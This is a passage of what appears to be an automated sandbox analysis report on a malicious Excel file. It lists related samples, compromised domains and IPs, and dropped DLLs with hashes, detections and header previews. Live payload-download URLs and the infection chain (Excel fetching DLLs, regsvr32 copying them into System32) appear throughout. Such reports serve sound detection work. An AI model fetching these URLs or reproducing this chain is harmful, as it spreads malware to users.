	SCAN_89357809.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
	ACH Payment Advice.zip_br_ Password_ 4434OTTNU_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
	Invoice # 96995631 X#9932993 05829.zip_br_ Password_ vh98bsv4_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
milanstaffing.com	documento_2005.xls	Get hash	malicious	Browse	107.189.3.39
	Lkd_2005.xls	Get hash	malicious	Browse	107.189.3.39
	SCAN_89357809.xls	Get hash	malicious	Browse	107.189.3.39
stainedglassexpress.com	documento_2005.xls	Get hash	malicious	Browse	66.71.247.68
	Lkd_2005.xls	Get hash	malicious	Browse	66.71.247.68
	SCAN_89357809.xls	Get hash	malicious	Browse	66.71.247.68
kolejleri.com	documento_2005.xls	Get hash	malicious	Browse	85.114.142.153
	Lkd_2005.xls	Get hash	malicious	Browse	85.114.142.153
	SCAN_89357809.xls	Get hash	malicious	Browse	85.114.142.153
learnviaonline.com	documento_2005.xls	Get hash	malicious	Browse	103.171.181.223
	Lkd_2005.xls	Get hash	malicious	Browse	103.171.181.223
	SCAN_89357809.xls	Get hash	malicious	Browse	103.171.181.223
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	103.171.181.223
	ACH Payment Advice.zip_br_ Password_ 4434OTTNU_br_.lnk	Get hash	malicious	Browse	103.171.181.223
	Invoice # 96995631 X#9932993 05829.zip_br_ Password_ vh98bsv4_br_.lnk	Get hash	malicious	Browse	103.171.181.223
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	103.171.181.223

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MYLOC-ASIPBackboneofmyLocmanagedITAGDE	documento_2005.xls	Get hash	malicious	Browse	85.114.142.153
	Lkd_2005.xls	Get hash	malicious	Browse	85.114.142.153
	SCAN_89357809.xls	Get hash	malicious	Browse	85.114.142.153
	http://thesportsgrail.com	Get hash	malicious	Browse	85.114.159.93
	Advice FTT5378393.exe	Get hash	malicious	Browse	93.186.201.208
	z4ehq74vWO	Get hash	malicious	Browse	85.114.198.102
	ST10501909262401.exe	Get hash	malicious	Browse	93.186.201.208
	https://bullant-security.w3spaces.com/	Get hash	malicious	Browse	85.114.159.118
	whvMLs1u4x	Get hash	malicious	Browse	89.163.194.115
	Cancellation-507660980$-May5.xlsb	Get hash	malicious	Browse	5.199.136.61
	Cancellation-507660980$-May5.xlsb	Get hash	malicious	Browse	5.199.136.61
	https://sidebar.io/out?url=https%3A%2F%2Fwww.creativebloq.com%2Fnews%2Fworst-logos-2022%3Fref%3Dsidebar	Get hash	malicious	Browse	85.114.159.118
	https://ma-ilpanel.gamemodx.cf/auth.php?add=keith@steinborn.com	Get hash	malicious	Browse	85.114.159.93
	oo9A7GRneR	Get hash	malicious	Browse	83.136.82.32
	http://quick-adviser.com/how-do-i-stop-negative-values-in-java/	Get hash	malicious	Browse	80.82.217.90
	https://rainbownnutbolt47-65.w3spaces.com/RAINBOW_NUT_AND_BOLT_april_13_2022.pdf?bypass-cache=68928506	Get hash	malicious	Browse	85.114.159.93
	805YbfoCnN.xls	Get hash	malicious	Browse	89.163.146.219
	rRoIuoRpEQ	Get hash	malicious	Browse	46.228.205.63
	https://topcookingstories.com/library/lecture/read/40097-what-legendary-pets-can-you-get-out-of-a-cracked-egg#0	Get hash	malicious	Browse	85.114.159.93
	http://69.35.136.34.bc.googleusercontent.com/jp/	Get hash	malicious	Browse	85.114.159.93
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	jew.arm7	Get hash	malicious	Browse	103.162.253.58
	x86	Get hash	malicious	Browse	139.230.225.83
	B2CP7Anrdz	Get hash	malicious	Browse	144.205.100.51
	EhCzyqLrUk	Get hash	malicious	Browse	103.189.218.58
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	139.230.83.233
	KSA_67537835353.xlsx	Get hash	malicious	Browse	103.167.92.57
	hiZKhinsQy	Get hash	malicious	Browse	103.161.25.109
	Cff7khwHQF	Get hash	malicious	Browse	103.165.24.252
	x8lFIk8wYK	Get hash	malicious	Browse	103.180.7.199
	Un93F0RX3z	Get hash	malicious	Browse	103.64.107.175
	F4Bl65ZbQf	Get hash	malicious	Browse	103.182.254.153
	o9flt31Dtm	Get hash	malicious	Browse	139.230.225.98
	sora.arm	Get hash	malicious	Browse	103.179.236.167
	DQR5IGyfau	Get hash	malicious	Browse	103.33.61.96
	phantom.arm	Get hash	malicious	Browse	103.171.158.160
	wiDR0DkFXy	Get hash	malicious	Browse	138.7.88.121
	2205117369.xlsx	Get hash	malicious	Browse	103.176.113.85
	Ponuda garik doo.xlsx	Get hash	malicious	Browse	103.167.92.57
	winlogon.exe	Get hash	malicious	Browse	103.176.113.85
	TMXAt4vwD5	Get hash	malicious	Browse	103.167.104.17

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	2.9363699995422854
Encrypted:	false
SSDEEP:	6:kKnqoxN+SkQlPlEGYRMY9z+4KlDA3RUe/:vMkPlE99SNxAhUe/
MD5:	66266C092C98169F6E97AC380BCF0A21
SHA1:	473D9941B67B30B2123048912EEAA3F52EA1972B
SHA-256:	52749029E461E7B4BD7A5D89ACF303535E71BE7A0ECA9553DF751A0F11647B51
SHA-512:	B05210D71704F0B37074B58D2F4ED04B03A067D49F830117F2F5745FE136C89B40E7EAB61B471A103B399C539D73D18EC1506DF38731D260ABFE6A170A44D485
Malicious:	false
Preview:	p...... ........9{Oa.n..(....................................................... ........3k/"[..................(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.1527203772082135
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7YxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Qy/BJ7rGTK/V3
MD5:	828A9B1007DC45671D8A58E240C7C973
SHA1:	8214993BB314D0F4C1889E507F88BEEB3F6E5B63
SHA-256:	B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
SHA-512:	7519B39DD811C3578E0002D5C4F35B2A6855092978004ECB2CA0030C1550AA3D38B346F83C43EB286AB9E1BF6209050078286DDB8BFEA5F1D5DC3EFCAAFEEEEF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
IE Cache URL:	http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.152718217466625
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7LxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7xy/BJ7rGTK/V3
MD5:	646CA94D40F268C87215FFEA9FD0E826
SHA1:	22E67EB4D6E4B5F09E3DE5A6021462ADCF99FE75
SHA-256:	52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
SHA-512:	5AE522EB99551146F84F9AA94F270083CEDC1BB8DF26697E15D57FCF7AF126766F8F18ED4FFAC06DF46D88E07C08A8523CD8A4187AF3DD8173BAF35272DE794B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 61%
IE Cache URL:	http://milanstaffing.com/images/D4TRnDubF/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.152704988682108
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7DxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Zy/BJ7rGTK/V3
MD5:	5A9E3E501F04B27A38BCA881A68A1785
SHA1:	9573AB24845B8FA1408F0381E64A40A5CC2A879E
SHA-256:	306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C
SHA-512:	FB6BABA1B27D7019DA35D2CF854A111DEE6574196CC9E2022956ABDB3717B5C2321DC8811533205B3AA87A047AC6D927252688AAFAA802AFB989E38568C1EC58
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
IE Cache URL:	http://kolejleri.com/wp-admin/REvup/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.1527177644825635
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7fxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7ly/BJ7rGTK/V3
MD5:	C9FD6F4A594719F21F310D8D0A2E55BB
SHA1:	D999195E150304EF6FA4AE5362FDB70D0457429B
SHA-256:	E654F14F3A98027669FD428597A2B4967B5276BDB94DA7770189E791FD98FC50
SHA-512:	BC7F62214F70076027355858367004A019FBE18EE9404AC58ECC550C9EF5F2B3DB6A01E2B60A33E55B5FE323D52CD1BA0C455AA2C99E058140F9ABD5AF5B8E8E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
IE Cache URL:	http://learnviaonline.com/wp-admin/qGb/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabEE4E.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\TarEE4F.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DFFD13BCD3EE2F686F.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.440608621024532
Encrypted:	false
SSDEEP:	768:cDRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+V0qs9s1X8:cVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UU
MD5:	A406AA1773C3292E4769B91791FEA502
SHA1:	42B4155CFEAC777DD81ED4D6847BD29DF7D63810
SHA-256:	1035D746F889351ED4258FBFC62EEDD75409A3CF4DEC52D81CE1C162CB5210DC
SHA-512:	CCFC0521C6B9D6C67911139131AF133D7C7047CE3485526E7898B598ABB370587EA7DB8D006BE52274E92A744C5D812110FB4AD141D07C2B5966820AE3B83AA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\DETAILS 25922194612.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 07:48:11 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.427901607097409
Encrypted:	false
SSDEEP:	1536:aVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+y9s1a6YG2jzQ0viPvDNHh9e6:4Kpb8rGYrMPe3q7Q0XV5xtezE8vG8UMs
MD5:	0E2564F95F78ADB6AFF73888666FE471
SHA1:	260A67566C40773895E2A062A205C3E67F6B388A
SHA-256:	71F0E26B98B6FD162568CFAE666EAF0D043E7DD8BD9E2B7119D7C5944FF8B836
SHA-512:	ACED75250CA50F8C81DD76D3FDCFA3F9471E0F6039BBF2B7920D201DFBA9E67834708CB9F7637A7B6D56898952FA6149EE353CC8BA99EF40312526F76507D0CB
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527177644825635
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7fxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7ly/BJ7rGTK/V3
MD5:	C9FD6F4A594719F21F310D8D0A2E55BB
SHA1:	D999195E150304EF6FA4AE5362FDB70D0457429B
SHA-256:	E654F14F3A98027669FD428597A2B4967B5276BDB94DA7770189E791FD98FC50
SHA-512:	BC7F62214F70076027355858367004A019FBE18EE9404AC58ECC550C9EF5F2B3DB6A01E2B60A33E55B5FE323D52CD1BA0C455AA2C99E058140F9ABD5AF5B8E8E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152704988682108
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7DxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Zy/BJ7rGTK/V3
MD5:	5A9E3E501F04B27A38BCA881A68A1785
SHA1:	9573AB24845B8FA1408F0381E64A40A5CC2A879E
SHA-256:	306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C
SHA-512:	FB6BABA1B27D7019DA35D2CF854A111DEE6574196CC9E2022956ABDB3717B5C2321DC8811533205B3AA87A047AC6D927252688AAFAA802AFB989E38568C1EC58
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr3.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527203772082135
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7YxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Qy/BJ7rGTK/V3
MD5:	828A9B1007DC45671D8A58E240C7C973
SHA1:	8214993BB314D0F4C1889E507F88BEEB3F6E5B63
SHA-256:	B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
SHA-512:	7519B39DD811C3578E0002D5C4F35B2A6855092978004ECB2CA0030C1550AA3D38B346F83C43EB286AB9E1BF6209050078286DDB8BFEA5F1D5DC3EFCAAFEEEEF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr4.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152718217466625
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7LxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7xy/BJ7rGTK/V3
MD5:	646CA94D40F268C87215FFEA9FD0E826
SHA1:	22E67EB4D6E4B5F09E3DE5A6021462ADCF99FE75
SHA-256:	52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
SHA-512:	5AE522EB99551146F84F9AA94F270083CEDC1BB8DF26697E15D57FCF7AF126766F8F18ED4FFAC06DF46D88E07C08A8523CD8A4187AF3DD8173BAF35272DE794B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\Ejpzh\qlDqXeGagKnBKzd.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152704988682108
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7DxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Zy/BJ7rGTK/V3
MD5:	5A9E3E501F04B27A38BCA881A68A1785
SHA1:	9573AB24845B8FA1408F0381E64A40A5CC2A879E
SHA-256:	306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C
SHA-512:	FB6BABA1B27D7019DA35D2CF854A111DEE6574196CC9E2022956ABDB3717B5C2321DC8811533205B3AA87A047AC6D927252688AAFAA802AFB989E38568C1EC58
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\FiPeSYwmr\Wuiko.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527203772082135
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7YxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Qy/BJ7rGTK/V3
MD5:	828A9B1007DC45671D8A58E240C7C973
SHA1:	8214993BB314D0F4C1889E507F88BEEB3F6E5B63
SHA-256:	B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
SHA-512:	7519B39DD811C3578E0002D5C4F35B2A6855092978004ECB2CA0030C1550AA3D38B346F83C43EB286AB9E1BF6209050078286DDB8BFEA5F1D5DC3EFCAAFEEEEF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
